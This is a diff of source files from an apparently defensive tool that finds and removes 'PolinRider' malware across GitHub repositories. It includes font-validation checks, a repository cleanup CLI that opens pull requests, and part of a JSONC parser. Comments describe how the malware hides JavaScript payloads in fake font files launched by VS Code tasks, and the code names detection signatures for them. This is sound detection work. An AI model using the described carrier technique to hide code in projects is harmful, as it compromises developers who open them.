* 1. unreferenced — no CSS/HTML/JS in the repo mentions its filename, and
|
||||
* 2. suspicious — it does NOT parse as a structurally valid font.
|
||||
*
|
||||
* "Structurally valid" is the primary signal: a real font has valid magic AND a
|
||||
* well-formed table directory / header whose declared extents stay inside the
|
||||
* file. A genuine font is trusted unconditionally — even when its bytes happen to
|
||||
* contain a license URL or a long base64-looking run of binary glyph data (both
|
||||
* of which previously caused false positives on legitimate fonts).
|
||||
*
|
||||
* The real carrier is the opposite of a font: it has no font magic at all — it is
|
||||
* readable JavaScript text (`global['!']=…; require(…); eval(…)`). Such a file
|
||||
* fails structural validation, and the presence of code-execution strings
|
||||
* (FONT_BADNESS_RES) confirms it is an appended payload rather than a merely
|
||||
* corrupt font.
|
||||
*
|
||||
* Reading the file as a Buffer and scanning bytes never executes anything.
|
||||
*/
|
||||
|
||||
import fs from "node:fs/promises";
|
||||
import path from "node:path";
|
||||
import { collectByExtension, DEFAULT_EXCLUDE } from "./walk.js";
|
||||
import { FONT_MAGIC, FONT_BADNESS_RES, FONT_REF_EXTENSIONS } from "./signatures.js";
|
||||
|
||||
// A reference inside .vscode (e.g. a malicious task pointing at its payload font)
|
||||
// must NOT count as legitimate usage.
|
||||
const REF_EXCLUDE = new Set([...DEFAULT_EXCLUDE, ".vscode"]);
|
||||
|
||||
const NO_RELIABLE_MAGIC = new Set([".eot"]); // EOT lacks a single stable magic
|
||||
const BYTE_SCAN_LIMIT = 256 * 1024; // scan at most 256 KB for embedded strings
|
||||
const REF_HAYSTACK_LIMIT = 8 * 1024 * 1024; // cap concatenated reference text
|
||||
|
||||
/** Identify a font format from the first 4 bytes, or 'unknown'. */
|
||||
export function readMagic(buf) {
|
||||
if (!Buffer.isBuffer(buf) || buf.length < 4) return "unknown";
|
||||
for (const [fmt, sig] of Object.entries(FONT_MAGIC)) {
|
||||
if (!sig) continue;
|
||||
if (sig.every((b, idx) => buf[idx] === b)) return fmt;
|
||||
}
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a buffer's font structure from its header/table directory alone.
|
||||
* Pure and byte-only: never executes anything, never allocates based on the
|
||||
* file's own declared sizes.
|
||||
*
|
||||
* A recognized magic whose declared extents stay within the file is treated as a
|
||||
* genuine font. When the magic is recognized but the specific variant is one we
|
||||
* don't fully parse, we give the benefit of the doubt (valid) — the downstream
|
||||
* blast radius is file deletion, so we only reject when we are confident the
|
||||
* bytes are NOT a font.
|
||||
*
|
||||
* @param {Buffer} buf
|
||||
* @returns {{ valid: boolean, format: string, reason?: string }}
|
||||
*/
|
||||
export function parseFontStructure(buf) {
|
||||
const format = readMagic(buf);
|
||||
if (format === "unknown") {
|
||||
return { valid: false, format, reason: "no recognizable font magic bytes" };
|
||||
}
|
||||
|
||||
// WOFF / WOFF2: header declares the total file length at offset 8 and the table
|
||||
// count at offset 12 — both trivially cross-checkable against the actual bytes.
|
||||
if (format === "woff" || format === "woff2") {
|
||||
if (buf.length >= 14 && buf.readUInt32BE(8) === buf.length && buf.readUInt16BE(12) > 0) {
|
||||
return { valid: true, format };
|
||||
}
|
||||
return { valid: false, format, reason: `malformed ${format} header (declared length or table count invalid)` };
|
||||
}
|
||||
|
||||
// TrueType Collection: numFonts at offset 8, then that many sfnt-header offsets.
|
||||
if (format === "ttc") {
|
||||
if (buf.length >= 12) {
|
||||
const numFonts = buf.readUInt32BE(8);
|
||||
if (numFonts >= 1 && numFonts <= 256 && 12 + numFonts * 4 <= buf.length) {
|
||||
let ok = true;
|
||||
for (let i = 0; i < numFonts; i++) {
|
||||
if (buf.readUInt32BE(12 + i * 4) + 12 > buf.length) {
|
||||
ok = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (ok) return { valid: true, format };
|
||||
}
|
||||
}
|
||||
return { valid: false, format, reason: "malformed TrueType Collection header" };
|
||||
}
|
||||
|
||||
// sfnt (ttf / otf / legacy 'true'): numTables at offset 4, then a 16-byte table
|
||||
// directory. Every table's (offset + length) must stay within the file.
|
||||
const numTables = buf.length >= 6 ? buf.readUInt16BE(4) : 0;
|
||||
const dirEnd = 12 + numTables * 16;
|
||||
if (numTables < 1 || numTables > 4096 || dirEnd > buf.length) {
|
||||
return { valid: false, format, reason: "malformed font table directory" };
|
||||
}
|
||||
for (let i = 0; i < numTables; i++) {
|
||||
const rec = 12 + i * 16;
|
||||
if (buf.readUInt32BE(rec + 8) + buf.readUInt32BE(rec + 12) > buf.length) {
|
||||
return { valid: false, format, reason: "font table points past end of file" };
|
||||
}
|
||||
}
|
||||
return { valid: true, format };
|
||||
}
|
||||
|
||||
/** Scan a font's leading bytes for code-execution strings a real font never has. */
|
||||
function scanCodeStrings(buf) {
|
||||
const window = buf.subarray(0, Math.min(buf.length, BYTE_SCAN_LIMIT)).toString("latin1");
|
||||
return FONT_BADNESS_RES.some((re) => re.test(window))
|
||||
? ["contains embedded code-like strings a real font never has (eval/require/global[/etc.)"]
|
||||
: [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Inspect font bytes for signs it isn't a real font.
|
||||
*
|
||||
* A structurally valid font is trusted unconditionally (never `bad`). Otherwise
|
||||
* the file is flagged, and `hasCodeStrings` tells the caller whether it also
|
||||
* carries a code payload — the difference between a confirmed carrier (auto-remove)
|
||||
* and a merely unrecognized blob (manual review).
|
||||
*
|
||||
* @param {Buffer} buf
|
||||
* @param {string} [ext] file extension (e.g. ".woff2"). Formats without a reliable
|
||||
* magic number (.eot) can only be flagged by embedded code strings.
|
||||
* @returns {{ bad: boolean, magic: string, reasons: string[], hasCodeStrings: boolean }}
|
||||
*/
|
||||
export function looksSuspicious(buf, ext = "") {
|
||||
// EOT has no single stable magic; never reject it structurally — only an
|
||||
// embedded code payload makes an .eot suspicious.
|
||||
if (NO_RELIABLE_MAGIC.has(ext.toLowerCase())) {
|
||||
const reasons = scanCodeStrings(buf);
|
||||
return { bad: reasons.length > 0, magic: readMagic(buf), reasons, hasCodeStrings: reasons.length > 0 };
|
||||
}
|
||||
|
||||
const struct = parseFontStructure(buf);
|
||||
if (struct.valid) {
|
||||
return { bad: false, magic: struct.format, reasons: [], hasCodeStrings: false };
|
||||
}
|
||||
|
||||
const codeReasons = scanCodeStrings(buf);
|
||||
return {
|
||||
bad: true,
|
||||
magic: struct.format,
|
||||
reasons: [struct.reason, ...codeReasons],
|
||||
hasCodeStrings: codeReasons.length > 0,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Build a lowercased haystack of every file that could reference a font, so we
|
||||
* can cheaply test whether a font filename is used anywhere. Conservative by
|
||||
* design: a substring match counts as "referenced" (we'd rather keep a file
|
||||
* than wrongly delete a legitimate, referenced font).
|
||||
*/
|
||||
export async function collectFontReferences(repoDir) {
|
||||
const files = await collectByExtension(repoDir, FONT_REF_EXTENSIONS, { exclude: REF_EXCLUDE });
|
||||
let haystack = "";
|
||||
for (const f of files) {
|
||||
if (haystack.length > REF_HAYSTACK_LIMIT) break;
|
||||
try {
|
||||
haystack += "\n" + (await fs.readFile(f, "utf8")).toLowerCase();
|
||||
} catch {
|
||||
/* unreadable file → skip */
|
||||
}
|
||||
}
|
||||
return haystack;
|
||||
}
|
||||
|
||||
/** True if the font's basename appears anywhere in the reference haystack. */
|
||||
export function isReferenced(haystack, fontPath) {
|
||||
return haystack.includes(path.basename(fontPath).toLowerCase());
|
||||
}
|
||||
+376
@@ -0,0 +1,376 @@
|
||||
import "./safety.js"; // MUST be the first import — installs runtime guards.
|
||||
|
||||
/**
|
||||
* PolinRider Org Cleanup CLI (consolidated, hardened).
|
||||
*
|
||||
* Flow per repo:
|
||||
* 1. Clone default branch into WORKSPACE/<repo> (shallow, hooks disabled)
|
||||
* 2. Scan in-process (reads files as inert text — never executes them)
|
||||
* 3. If infected → surgically remediate
|
||||
* 4. Commit changes on a new branch and open a PR via gh
|
||||
*
|
||||
* Required env: GH_TOKEN, and exactly one of GH_ORG (organization) or GH_USER
|
||||
* (personal account). Optional: DRY_RUN, WORKSPACE, BRANCH_PREFIX.
|
||||
*
|
||||
* SAFETY: every subprocess goes through src/safe-exec.js (git/gh only). No
|
||||
* target file content is ever require()'d, import()'d, eval()'d, or exec()'d.
|
||||
*/
|
||||
|
||||
import chalk from "chalk";
|
||||
import ora from "ora";
|
||||
import path from "node:path";
|
||||
import fs from "node:fs/promises";
|
||||
import { existsSync } from "node:fs";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { safeGit, safeGh } from "./safe-exec.js";
|
||||
import { scanRepo } from "./scanner.js";
|
||||
import { remediate } from "./remediator.js";
|
||||
import { buildPrBody, PR_TITLE, findingLines, resultLines, buildRunJson, buildRunMarkdown } from "./report.js";
|
||||
import { hardeningStatus } from "./safety.js";
|
||||
|
||||
// ─── Config (resolved inside main() so importing this module is side-effect-free) ─
|
||||
|
||||
let ACCOUNT, TOKEN, DRY_RUN, WORKSPACE, BRANCH_PREFIX;
|
||||
let AUTO_MERGE, MERGE_METHOD, REPORTS_DIR, reportBase, reportStamp;
|
||||
let reportWarned = false;
|
||||
|
||||
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
|
||||
|
||||
function env(name) {
|
||||
const val = process.env[name];
|
||||
if (!val) {
|
||||
console.error(chalk.red(`✖ Missing required env var: ${name}`));
|
||||
process.exit(2);
|
||||
}
|
||||
return val;
|
||||
}
|
||||
|
||||
// The target account is EITHER a GitHub org (GH_ORG) or a personal user account
|
||||
// (GH_USER). Set exactly one — comment out the other in your .env. The resolved
|
||||
// `owner` is used both to list repos and to prefix bare GH_REPO entries.
|
||||
function resolveAccount() {
|
||||
const org = (process.env.GH_ORG || "").trim();
|
||||
const user = (process.env.GH_USER || "").trim();
|
||||
if (org && user) {
|
||||
console.error(chalk.red("✖ Set only one of GH_ORG or GH_USER, not both"));
|
||||
process.exit(2);
|
||||
}
|
||||
if (!org && !user) {
|
||||
console.error(
|
||||
chalk.red("✖ Set GH_ORG (organization) or GH_USER (personal account)"),
|
||||
);
|
||||
process.exit(2);
|
||||
}
|
||||
return user ? { kind: "user", owner: user } : { kind: "org", owner: org };
|
||||
}
|
||||
|
||||
function section(title) {
|
||||
console.log("\n" + chalk.bold.underline(title));
|
||||
}
|
||||
function indent(lines, color = chalk.gray) {
|
||||
for (const l of lines) console.log(" " + color(l));
|
||||
}
|
||||
|
||||
// ─── Clone ───────────────────────────────────────────────────────────────────
|
||||
|
||||
async function cloneRepo(fullName) {
|
||||
const repoName = fullName.split("/")[1];
|
||||
const dest = path.join(WORKSPACE, repoName);
|
||||
if (existsSync(dest)) await fs.rm(dest, { recursive: true, force: true });
|
||||
|
||||
const url = `https://x-access-token:${TOKEN}@github.com/${fullName}.git`;
|
||||
const clone = await safeGit(["clone", "--depth=1", url, dest]);
|
||||
if (clone.exitCode !== 0) throw new Error(`clone failed: ${clone.stderr}`);
|
||||
|
||||
await safeGit(["-C", dest, "config", "user.email", "polinrider-cleanup-bot@users.noreply.github.com"]);
|
||||
await safeGit(["-C", dest, "config", "user.name", "PolinRider Cleanup Bot"]);
|
||||
return dest;
|
||||
}
|
||||
|
||||
// ─── Commit + push + PR ────────────────────────────────────────────────────────
|
||||
|
||||
async function openPR(repoDir, fullName, findings, result) {
|
||||
const branch = `${BRANCH_PREFIX}-${Date.now()}`;
|
||||
|
||||
const checkout = await safeGit(["-C", repoDir, "checkout", "-b", branch]);
|
||||
if (checkout.exitCode !== 0) throw new Error(`branch creation failed: ${checkout.stderr}`);
|
||||
|
||||
await safeGit(["-C", repoDir, "add", "-A"]);
|
||||
const staged = await safeGit(["-C", repoDir, "diff", "--cached", "--name-only"]);
|
||||
if (!staged.stdout.trim()) return { skipped: true, reason: "no staged changes after remediation" };
|
||||
|
||||
const commit = await safeGit([
|
||||
"-C", repoDir, "commit",
|
||||
"-m", "security: remove PolinRider malware artifacts\n\nAutomated surgical cleanup by polinrider-remover.",
|
||||
]);
|
||||
if (commit.exitCode !== 0) throw new Error(`commit failed: ${commit.stderr}`);
|
||||
|
||||
const push = await safeGit([
|
||||
"-C", repoDir, "push",
|
||||
`https://x-access-token:${TOKEN}@github.com/${fullName}.git`,
|
||||
branch,
|
||||
]);
|
||||
if (push.exitCode !== 0) throw new Error(`push failed: ${push.stderr}`);
|
||||
|
||||
const body = buildPrBody({ findings, result });
|
||||
const baseArgs = ["pr", "create", "--repo", fullName, "--title", PR_TITLE, "--body", body, "--head", branch];
|
||||
let pr = await safeGh([...baseArgs, "--label", "security"]);
|
||||
if (pr.exitCode !== 0) pr = await safeGh(baseArgs); // retry without label (may not exist)
|
||||
if (pr.exitCode !== 0) throw new Error(`PR creation failed: ${pr.stderr}`);
|
||||
const url = pr.stdout.trim();
|
||||
|
||||
if (!AUTO_MERGE) return { url, merged: false, mergeError: null };
|
||||
|
||||
// Respect branch protection: a direct merge fails where reviews/checks are
|
||||
// required — that's reported, not bypassed. Retry once for mergeability lag.
|
||||
const mergeArgs = ["pr", "merge", url, `--${MERGE_METHOD}`, "--delete-branch"];
|
||||
let merge = await safeGh(mergeArgs);
|
||||
if (merge.exitCode !== 0) {
|
||||
await sleep(3000);
|
||||
merge = await safeGh(mergeArgs);
|
||||
}
|
||||
if (merge.exitCode === 0) return { url, merged: true, mergeError: null };
|
||||
return { url, merged: false, mergeError: (merge.stderr || merge.stdout || "merge failed").trim().split("\n")[0] };
|
||||
}
|
||||
|
||||
// ─── Resolve target repos ──────────────────────────────────────────────────────
|
||||
//
|
||||
// Set GH_REPO (alias GH_REPOS) to a comma-separated list to scope a pilot run to
|
||||
// specific repos and skip the listing. Each entry may be "name" (the account
|
||||
// owner — GH_ORG or GH_USER — is prefixed) or "owner/name". Unset → scan every
|
||||
// repo for the configured account (org repos, or the user's owned repos).
|
||||
|
||||
const REPO_RE = /^[\w.-]+\/[\w.-]+$/;
|
||||
|
||||
async function resolveTargetRepos() {
|
||||
const scope = (process.env.GH_REPOS || process.env.GH_REPO || "").trim();
|
||||
if (scope) {
|
||||
const repos = scope
|
||||
.split(",")
|
||||
.map((s) => s.trim())
|
||||
.filter(Boolean)
|
||||
.map((r) => (r.includes("/") ? r : `${ACCOUNT.owner}/${r}`));
|
||||
const invalid = repos.filter((r) => !REPO_RE.test(r));
|
||||
if (invalid.length) {
|
||||
console.error(chalk.red(`✖ Invalid repo name(s) in GH_REPO: ${invalid.join(", ")}`));
|
||||
process.exit(2);
|
||||
}
|
||||
console.log(
|
||||
chalk.yellow(` Scoped run — ${repos.length} repo(s) from GH_REPO: ${chalk.bold(repos.join(", "))}`),
|
||||
);
|
||||
return repos;
|
||||
}
|
||||
|
||||
const spinner = ora(
|
||||
`Fetching repos for ${ACCOUNT.kind}: ${chalk.bold(ACCOUNT.owner)}`,
|
||||
).start();
|
||||
// Org → all repos in the org. User → repos OWNED by the authenticated user
|
||||
// (affiliation=owner excludes repos you're only a collaborator/org member on).
|
||||
const endpoint =
|
||||
ACCOUNT.kind === "org"
|
||||
? `orgs/${ACCOUNT.owner}/repos`
|
||||
: "user/repos?affiliation=owner";
|
||||
const list = await safeGh(["api", endpoint, "--paginate", "--jq", ".[].full_name"]);
|
||||
if (list.exitCode !== 0) {
|
||||
spinner.fail(`Failed to list ${ACCOUNT.kind} repos`);
|
||||
console.error(list.stderr);
|
||||
process.exit(2);
|
||||
}
|
||||
const repos = list.stdout.split("\n").map((r) => r.trim()).filter(Boolean);
|
||||
spinner.succeed(`Found ${chalk.bold(repos.length)} repositories`);
|
||||
return repos;
|
||||
}
|
||||
|
||||
// ─── Main ──────────────────────────────────────────────────────────────────────
|
||||
|
||||
export async function main() {
|
||||
ACCOUNT = resolveAccount();
|
||||
TOKEN = env("GH_TOKEN");
|
||||
DRY_RUN = process.env.DRY_RUN === "true";
|
||||
WORKSPACE = process.env.WORKSPACE || "/workspace";
|
||||
BRANCH_PREFIX = process.env.BRANCH_PREFIX || "fix/polinrider-cleanup";
|
||||
AUTO_MERGE = process.env.AUTO_MERGE === "true";
|
||||
MERGE_METHOD = (process.env.MERGE_METHOD || "squash").toLowerCase();
|
||||
if (!["squash", "merge", "rebase"].includes(MERGE_METHOD)) {
|
||||
console.error(chalk.red(`✖ MERGE_METHOD must be squash|merge|rebase (got "${MERGE_METHOD}")`));
|
||||
process.exit(2);
|
||||
}
|
||||
REPORTS_DIR = process.env.REPORTS_DIR ?? "reports"; // set empty to disable
|
||||
reportStamp = new Date();
|
||||
reportBase = REPORTS_DIR
|
||||
? path.join(REPORTS_DIR, `polinrider-${reportStamp.toISOString().replace(/[:.]/g, "-")}`)
|
||||
: null;
|
||||
|
||||
console.log(chalk.bold.cyan("\n╔══════════════════════════════════════╗"));
|
||||
console.log(chalk.bold.cyan("║ PolinRider Org Cleanup Tool v2.0 ║"));
|
||||
console.log(chalk.bold.cyan("╚══════════════════════════════════════╝"));
|
||||
|
||||
const h = hardeningStatus();
|
||||
console.log(
|
||||
chalk.gray(
|
||||
` hardening: eval ${h.evalBlocked ? "blocked" : chalk.red("OPEN")}, codegen-flag ${
|
||||
h.codegenFlag ? "on" : chalk.yellow("off")
|
||||
}, launcher ${h.hardenedLaunch ? "on" : chalk.yellow("off")}`,
|
||||
),
|
||||
);
|
||||
if (DRY_RUN) console.log(chalk.yellow.bold("\n ⚠ DRY RUN — no files written, no pushes or PRs\n"));
|
||||
|
||||
await fs.mkdir(WORKSPACE, { recursive: true });
|
||||
|
||||
const results = { total: 0, clean: 0, infected: 0, remediated: 0, prOpened: 0, merged: 0, manualOnly: 0, errors: [], prs: [], repos: [] };
|
||||
|
||||
const repos = await resolveTargetRepos();
|
||||
results.total = repos.length;
|
||||
|
||||
for (const fullName of repos) {
|
||||
const repoName = fullName.split("/")[1];
|
||||
section(fullName);
|
||||
let repoDir;
|
||||
const record = { repo: fullName, severity: null, findings: [], deleted: [], modified: [], notes: [], manualReview: [], pr: null, error: null };
|
||||
try {
|
||||
const cloneSpinner = ora(" Cloning...").start();
|
||||
repoDir = await cloneRepo(fullName);
|
||||
cloneSpinner.succeed(chalk.gray(" Cloned"));
|
||||
|
||||
const scanSpinner = ora(" Scanning...").start();
|
||||
const findings = await scanRepo(repoDir);
|
||||
record.severity = findings.severity;
|
||||
record.findings = findings.findings.map((f) => ({
|
||||
file: f.file, action: f.action, confidence: f.confidence, contentConfirmed: f.contentConfirmed, description: f.description,
|
||||
}));
|
||||
record.manualReview = findings.manualReview;
|
||||
|
||||
if (findings.severity !== "infected") {
|
||||
const note = findings.coPresenceAmplified ? " (suspicious file layout — no confirmed payload)" : "";
|
||||
scanSpinner.succeed(" " + chalk.green(`Clean — no PolinRider signatures found${note}`));
|
||||
results.clean++;
|
||||
continue;
|
||||
}
|
||||
scanSpinner.warn(" " + chalk.red.bold("INFECTED — malware signatures detected"));
|
||||
results.infected++;
|
||||
indent(findingLines(findings));
|
||||
|
||||
const remSpinner = ora(" Remediating...").start();
|
||||
const result = await remediate(repoDir, findings, { dryRun: DRY_RUN });
|
||||
record.deleted = result.filesDeleted;
|
||||
record.modified = result.filesModified;
|
||||
record.notes = result.notes;
|
||||
remSpinner.succeed(" " + chalk.magenta(DRY_RUN ? "Planned remediation (dry run)" : "Remediated"));
|
||||
indent(resultLines(result));
|
||||
|
||||
if (DRY_RUN) continue;
|
||||
|
||||
if (!result.changed) {
|
||||
results.manualOnly++;
|
||||
results.errors.push({ repo: fullName, reason: "infected but only manual-review items — no automated fix" });
|
||||
continue;
|
||||
}
|
||||
results.remediated++;
|
||||
|
||||
const prSpinner = ora(" Creating PR...").start();
|
||||
const pr = await openPR(repoDir, fullName, findings, result);
|
||||
if (pr.skipped) {
|
||||
prSpinner.warn(` Skipped PR: ${pr.reason}`);
|
||||
} else {
|
||||
record.pr = { url: pr.url, merged: pr.merged, mergeError: pr.mergeError };
|
||||
results.prOpened++;
|
||||
results.prs.push({ repo: fullName, url: pr.url, merged: pr.merged });
|
||||
if (pr.merged) {
|
||||
results.merged++;
|
||||
prSpinner.succeed(" " + chalk.green.bold(`PR merged: ${pr.url}`));
|
||||
} else if (pr.mergeError) {
|
||||
prSpinner.warn(" " + chalk.yellow(`PR opened — auto-merge blocked (${pr.mergeError}); merge manually: ${pr.url}`));
|
||||
} else {
|
||||
prSpinner.succeed(" " + chalk.blue.bold(`PR opened: ${pr.url}`));
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
console.log(" " + chalk.red("✖ ") + chalk.bold(repoName) + " " + err.message);
|
||||
record.error = err.message;
|
||||
results.errors.push({ repo: fullName, reason: err.message });
|
||||
} finally {
|
||||
if (repoDir) await fs.rm(repoDir, { recursive: true, force: true }).catch(() => {});
|
||||
results.repos.push(record);
|
||||
await writeReports(results); // rewrite after every repo → live, crash-resilient trace
|
||||
}
|
||||
}
|
||||
|
||||
await writeReports(results);
|
||||
printSummary(results);
|
||||
process.exit(results.infected > 0 && results.remediated < results.infected && !DRY_RUN ? 1 : 0);
|
||||
}
|
||||
|
||||
// Persist the run report (JSON + Markdown) to REPORTS_DIR. Rewritten after every
|
||||
// repo so a trace survives even if the run is interrupted. Never fails the run.
|
||||
async function writeReports(results) {
|
||||
if (!REPORTS_DIR || !reportBase) return;
|
||||
const run = {
|
||||
scannedAt: reportStamp.toISOString(),
|
||||
scannedAtHuman: reportStamp.toString(),
|
||||
account: { kind: ACCOUNT.kind, owner: ACCOUNT.owner },
|
||||
dryRun: DRY_RUN,
|
||||
autoMerge: AUTO_MERGE,
|
||||
mergeMethod: MERGE_METHOD,
|
||||
totals: {
|
||||
total: results.total, clean: results.clean, infected: results.infected,
|
||||
remediated: results.remediated, merged: results.merged, prOpened: results.prOpened,
|
||||
manualOnly: results.manualOnly, errors: results.errors.length,
|
||||
},
|
||||
repos: results.repos,
|
||||
};
|
||||
try {
|
||||
await fs.mkdir(REPORTS_DIR, { recursive: true });
|
||||
const json = JSON.stringify(buildRunJson(run), null, 2);
|
||||
const md = buildRunMarkdown(run);
|
||||
await fs.writeFile(`${reportBase}.json`, json);
|
||||
await fs.writeFile(`${reportBase}.md`, md);
|
||||
await fs.writeFile(path.join(REPORTS_DIR, "latest.json"), json);
|
||||
await fs.writeFile(path.join(REPORTS_DIR, "latest.md"), md);
|
||||
} catch (e) {
|
||||
if (!reportWarned) {
|
||||
reportWarned = true;
|
||||
console.log(chalk.yellow(` ⚠ could not write reports to ${REPORTS_DIR}: ${e.message}`));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function printSummary(results) {
|
||||
console.log("\n" + chalk.bold.cyan("══════════════════════════════════════"));
|
||||
console.log(chalk.bold(" SUMMARY"));
|
||||
console.log(chalk.bold.cyan("══════════════════════════════════════"));
|
||||
console.log(` ${chalk.bold("Repos scanned:")} ${results.total}`);
|
||||
console.log(` ${chalk.green.bold("Clean:")} ${results.clean}`);
|
||||
console.log(` ${chalk.red.bold("Infected:")} ${results.infected}`);
|
||||
console.log(` ${chalk.magenta.bold("Remediated:")} ${results.remediated}`);
|
||||
console.log(` ${chalk.blue.bold("PRs opened:")} ${results.prOpened}`);
|
||||
if (AUTO_MERGE) console.log(` ${chalk.green.bold("PRs merged:")} ${results.merged}`);
|
||||
if (results.manualOnly) console.log(` ${chalk.yellow.bold("Manual review:")} ${results.manualOnly}`);
|
||||
|
||||
if (results.prs.length) {
|
||||
console.log("\n" + chalk.bold(" Pull Requests:"));
|
||||
for (const { repo, url, merged } of results.prs) {
|
||||
const mark = merged ? chalk.green("✔ merged") : chalk.blue("⎇ open");
|
||||
console.log(` ${mark} ${chalk.bold(repo)}\n ${url}`);
|
||||
}
|
||||
}
|
||||
if (results.errors.length) {
|
||||
console.log("\n" + chalk.yellow.bold(" Errors / needs manual review:"));
|
||||
for (const { repo, reason } of results.errors) console.log(` ${chalk.yellow("⚠")} ${chalk.bold(repo)}: ${reason}`);
|
||||
}
|
||||
if (REPORTS_DIR && reportBase) {
|
||||
console.log("\n " + chalk.gray(`Report written: ${reportBase}.md (and latest.md / .json in ${REPORTS_DIR}/)`));
|
||||
}
|
||||
console.log(chalk.bold.cyan("══════════════════════════════════════\n"));
|
||||
}
|
||||
|
||||
// Auto-run only when executed directly (`node src/index.js`). When imported —
|
||||
// by the launcher or a test — call main() explicitly instead. This keeps import
|
||||
// side-effect-free (no env reads, no process.exit) so the module is testable.
|
||||
const invokedDirectly =
|
||||
process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url);
|
||||
if (invokedDirectly) {
|
||||
main().catch((err) => {
|
||||
console.error(chalk.red("\nFatal error:"), err.message);
|
||||
process.exit(2);
|
||||
});
|
||||
}
|
||||
+231
@@ -0,0 +1,231 @@
|
||||
/**
|
||||
* Tolerant JSONC parser for VS Code config files (which legitimately contain
|
||||
* // and /* *\/ comments and trailing commas), plus an offset-based array
|
||||
* splicer used for surgical removal of malicious task/launch entries.
|
||||
*
|
||||
* SAFETY: this parser is hand-written and uses ONLY string scanning + the
|
||||
* built-in JSON.parse (on isolated string literals). It NEVER uses eval, the
|
||||
* Function constructor, or node:vm. Parsing an attacker-controlled .vscode file
|
||||
* therefore cannot execute anything.
|
||||
*
|
||||
* The AST records source offsets so the remediator can remove only the
|
||||
* malicious entries and leave the surrounding bytes (and other entries) intact.
|
||||
*/
|
||||
|
||||
/**
|
||||
* @typedef {Object} Node
|
||||
* @property {'object'|'array'|'string'|'number'|'boolean'|'null'} type
|
||||
* @property {*} value Decoded JS value of this node.
|
||||
* @property {number} start Offset of the first character (inclusive).
|
||||
* @property {number} end Offset just past the last character (exclusive).
|
||||
* @property {Array} [elements] For arrays: child value Nodes, in order.
|
||||
* @property {Array} [members] For objects: { key, keyNode, valueNode } entries.
|
||||
*/
|
||||
|
||||
/**
|
||||
* Parse JSONC text.
|
||||
* @returns {{ ok: boolean, value: *, ast: Node|null, error: Error|null }}
|
||||
*/
|
||||
export function parseJsonc(text) {
|
||||
let i = 0;
|
||||
const n = text.length;
|
||||
|
||||
const fail = (msg) => {
|
||||
const e = new Error(`JSONC parse error at offset ${i}: ${msg}`);
|
||||
e.offset = i;
|
||||
return e;
|
||||
};
|
||||
|
||||
function skipWs() {
|
||||
while (i < n) {
|
||||
const c = text[i];
|
||||
if (c === " " || c === "\t" || c === "\n" || c === "\r" || c === "") {
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
if (c === "/" && text[i + 1] === "/") {
|
||||
i += 2;
|
||||
while (i < n && text[i] !== "\n") i++;
|
||||
continue;
|
||||
}
|
||||
if (c === "/" && text[i + 1] === "*") {
|
||||
i += 2;
|
||||
while (i < n && !(text[i] === "*" && text[i + 1] === "/")) i++;
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
function parseString() {
|
||||
const start = i;
|
||||
if (text[i] !== '"') throw fail("expected string");
|
||||
i++;
|
||||
while (i < n) {
|
||||
const c = text[i];
|
||||
if (c === "\\") {
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
if (c === '"') {
|
||||
i++;
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
const raw = text.slice(start, i);
|
||||
let value;
|
||||
try {
|
||||
value = JSON.parse(raw); // decode escapes safely; no code execution
|
||||
} catch {
|
||||
throw fail("invalid string literal");
|
||||
}
|
||||
return { type: "string", value, start, end: i };
|
||||
}
|
||||
|
||||
function parseNumber() {
|
||||
const start = i;
|
||||
const m = /^-?(?:0|[1-9]\d*)(?:\.\d+)?(?:[eE][+-]?\d+)?/.exec(text.slice(i));
|
||||
if (!m) throw fail("invalid number");
|
||||
i += m[0].length;
|
||||
return { type: "number", value: Number(m[0]), start, end: i };
|
||||
}
|
||||
|
||||
function parseObject() {
|
||||
const start = i;
|
||||
i++; // {
|
||||
const members = [];
|
||||
const value = {};
|
||||
skipWs();
|
||||
while (text[i] !== "}") {
|
||||
if (i >= n) throw fail("unterminated object");
|
||||
const keyNode = parseString();
|
||||
skipWs();
|
||||
if (text[i] !== ":") throw fail("expected ':'");
|
||||
i++;
|
||||
const valueNode = parseValue();
|
||||
members.push({ key: keyNode.value, keyNode, valueNode });
|
||||
value[keyNode.value] = valueNode.value;
|
||||
skipWs();
|
||||
if (text[i] === ",") {
|
||||
i++;
|
||||
skipWs();
|
||||
} else break;
|
||||
}
|
||||
if (text[i] !== "}") throw fail("expected '}'");
|
||||
i++;
|
||||
return { type: "object", members, value, start, end: i };
|
||||
}
|
||||
|
||||
function parseArray() {
|
||||
const start = i;
|
||||
i++; // [
|
||||
const elements = [];
|
||||
const value = [];
|
||||
skipWs();
|
||||
while (text[i] !== "]") {
|
||||
if (i >= n) throw fail("unterminated array");
|
||||
const el = parseValue();
|
||||
elements.push(el);
|
||||
value.push(el.value);
|
||||
skipWs();
|
||||
if (text[i] === ",") {
|
||||
i++;
|
||||
skipWs();
|
||||
} else break;
|
||||
}
|
||||
if (text[i] !== "]") throw fail("expected ']'");
|
||||
i++;
|
||||
return { type: "array", elements, value, start, end: i };
|
||||
}
|
||||
|
||||
function parseValue() {
|
||||
skipWs();
|
||||
if (i >= n) throw fail("unexpected end of input");
|
||||
const c = text[i];
|
||||
if (c === "{") return parseObject();
|
||||
if (c === "[") return parseArray();
|
||||
if (c === '"') return parseString();
|
||||
if (c === "-" || (c >= "0" && c <= "9")) return parseNumber();
|
||||
if (text.startsWith("true", i)) {
|
||||
const s = i;
|
||||
i += 4;
|
||||
return { type: "boolean", value: true, start: s, end: i };
|
||||
}
|
||||
if (text.startsWith("false", i)) {
|
||||
const s = i;
|
||||
i += 5;
|
||||
return { type: "boolean", value: false, start: s, end: i };
|
||||
}
|
||||
if (text.startsWith("null", i)) {
|
||||
const s = i;
|
||||
i += 4;
|
||||
return { type: "null", value: null, start: s, end: i };
|
||||
}
|
||||
